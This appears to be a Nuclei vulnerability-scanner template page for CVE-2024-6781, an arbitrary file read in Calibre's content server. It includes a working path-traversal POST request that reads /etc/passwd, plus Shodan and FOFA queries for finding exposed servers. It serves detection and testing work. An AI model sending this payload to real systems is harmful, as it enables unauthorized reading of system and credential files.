Calibre <= 7.14.0 Arbitrary File Read

ID: CVE-2024-6781

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2024,calibre,lfi

Description

Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.

YAML Source

id: CVE-2024-6781

info:
  name: Calibre <= 7.14.0 Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
  reference:
    - https://starlabs.sg/advisories/24/24-6781/
  classification:
    cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: calibre-ebook
    product: calibre
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 2
  tags: cve,cve2024,calibre,lfi

http:
  - raw:
      - |
        GET /interface-data/books-init HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: book_ids
        internal: true
        json:
          - '.search_result.book_ids[0]'

  - raw:
      - |
        POST /cdb/cmd/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - '"result":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022008ff3cb2a20d51421b9c81e8ad15e199ec5ae9cc6417f8ce4a0138c50e906359022100f56f461c3e69692610f15c127c86f4da3087a9fb81f6502aae258e03adac44bf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6781.yaml"

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